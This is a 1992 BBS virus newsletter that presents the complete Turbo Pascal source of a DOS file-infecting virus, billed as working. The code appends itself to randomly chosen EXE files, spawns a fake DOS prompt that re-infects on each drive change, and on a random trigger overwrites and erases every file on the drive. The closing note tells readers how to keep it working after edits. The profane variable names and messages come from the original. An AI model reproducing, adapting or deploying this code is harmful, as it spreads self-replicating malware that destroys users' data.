ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ     Û ÛßßßÛ Ûßßßß ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ   Û Û   Û ÛÜÜÜÜ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û ÛßßßÛ     Û ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÛ Û   Û ÜÜÜÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º                Vaginal and Anal Secretions Newsletter #0017                 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º          Date Released : [05/24/92]       Author: William Axl Rose          º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º                      A WORKING Turbo Pascal 6.0 Virus                       º
ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ

Well, this virus is nothing fancy.  Basically, it picks a file from the root
directory, or one level down, and then copies itself to that file.  When run,
it finds a file; copies itself onto that file; picks a random # between 1 
and 1000, and if that random # is 666, it deletes every file on the current 
drive; and finally, it creates a 'fake dos' that re-exicutes the virus every
time you switch drives.

-----------------------------------CUT HERE------------------------------------
Program Orgasm;

{$I-} 

Uses Dos;

Type String1 = string[1];

{*****************************************}

Const CockSize = 6000; 

{*****************************************}

Var ThisFile, FuckedFile : File;      
    ThisDir              : String;
    ThisDrive            : Char;
    Level                : Byte;

Procedure Attach( Filename:String);   

Var Inread, Outwrite : Byte;
    Orgas            :Integer;
    Notice           :String;
    Myname           :String[60];

Begin
     Myname:=Paramstr(0);
     assign (ThisFile,MyName);
     Assign (FuckedFile,FileName);
     Reset (ThisFile,1);
     ReSet (FuckedFile,1);
     If cocksize>Sizeof(FuckedFile) then 
       Begin
          For Orgas:=1 to Cocksize do 
            begin
                BlockRead(ThisFile,Inread,Sizeof(Inread));
                BlockWrite(FuckedFile,InRead,Sizeof(InRead));
             end;  {Orgasim}
       end; {Cocksize test}
     Close (FuckedFile);
     close (ThisFile);
                            
end; {attach shit}

Procedure Cum(path : String); {Fuck over the 'puter}

Var Path2    : String;
    FileInfo : Searchrec;
    I        : Byte;
    F        : File;
    ST       : String;

begin          
ST:='YOU ARE FUCKED UP ASSHOLE';
Level:=Level+1;
FindFirst(path+'\*.*',Directory,Fileinfo);
While DosError = 0 do       
  Begin
     If (FileInfo.Attr = Directory) and (FileInfo.Name[1] <> '.') then 
       begin
          path2:=path+'\'+fileinfo.name;
          Cum(path2);
       end;
     If FileInfo.Attr <> Directory then
       Begin
          Assign(F,FileInfo.Name);
          Rewrite(F,1);
          BlockWrite(F,st,Sizeof(ST));
          Close(F);
          Erase(F);
       end;
     FindNext(FileInfo);
  end;

end; {CUM}

Procedure FileToAttach;  

Var
   Fileinfo : SearchRec;
   Path     : Array [1..20] of String[30];
   Name     : Array [1..200] of String[30];
   err      : Integer;
   nump     : Integer;
   Drand, Frand : word;
   Pather, Namer,y  : String[30];
   x        :Integer;
   z        :Byte;

label Mistake;

Begin
     Nump:=0;
     FindFirst('\*.*', Directory, Fileinfo);
     Err:=DosError;
     While Err=0 do
       begin
          If (Fileinfo.Attr = Directory) and (Fileinfo.NAME[1] <> '.') then 
            begin
               If Fileinfo.Name=Path[Nump] then Err:=1;
               Nump:=Nump+1;
               Path[Nump]:=Fileinfo.name;
            Mistake:end;
          FindNext(Fileinfo);
       end;

{Randomly Pick the Directory}

     Randomize;
     Drand:=(Random(NUMP-1))+1;
     Pather:=Path[Drand];
     Pather:='\'+Pather+'\';


{Find some EXE Philez}

     Nump:=0;
     Findfirst (Pather + '*.exe', Anyfile, Fileinfo);
     Err:=DosError;
     While Err = 0 do
       begin
{If Fileinfo.Name=Name[Nump] then Err:=2;}
         Nump:=Nump+1;
         Name[Nump]:=Fileinfo.name;
         FindNext(Fileinfo);
         If Fileinfo.name=Name[Nump] then Err:=2;
       end;

{Pick the EXE file!!!}
         Frand:=Random(Nump-1)+1;
         Namer:=Name[Frand];

{Tell me}
         If Nump<1 then Exit;
         Y:=Pather+Namer;
         Attach (Y);
         X:=Random(1000);
         
         GetDir(0,ThisDir);
         ThisDrive:=ThisDir[1];

         If X=666 then cum(ThisDrive+':');


end; {FiletoAttach}


Procedure FakeDos(Odrive : Char); 

Label 1;
var
  Ndrive : Char;

  Command: string[127];
  Prompt : String;
  
begin {FakeDos}
  Getdir(0,prompt);
  Odrive:=Prompt[1];
  repeat
       Getdir(0,prompt);
       Ndrive:=Prompt[1];
       If Odrive<>Ndrive then
         Begin
            Odrive:=Ndrive;
            FileToAttach;
         end;
       1:Write(Prompt + '>');
       ReadLn(Command);
       if Command = '' then goto 1;
         begin
            SwapVectors;
            Exec(GetEnv('COMSPEC'), '/C ' + Command);
            SwapVectors;
            Writeln;
            if DosError <> 0 then
            WriteLn('Could not execute COMMAND.COM');
         end;
until 1 = 2;

end; {FakeDos}






Begin
FileToAttach;
Writeln ('Cannot execute ',FExpand(ParamStr(0)));  {DOS 5.0 command}
Writeln;
GetDir(0,ThisDir);
ThisDrive:=ThisDir[1];
Fakedos(thisdrive);
end.
-----------------------------------CUT HERE------------------------------------

That's about it..If you like it, there will be more to come.  If you change
the source AT ALL, remember to change the constant COCKSIZE to whatever the
EXE size is, otherwise it will not work.

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º               For All The Latest VAS Files, Be Sure To Call :               º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º     Persistence Of Time BBS þ 2400 baud þ (313)462-1906 þ NUP = T.MESS01    º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ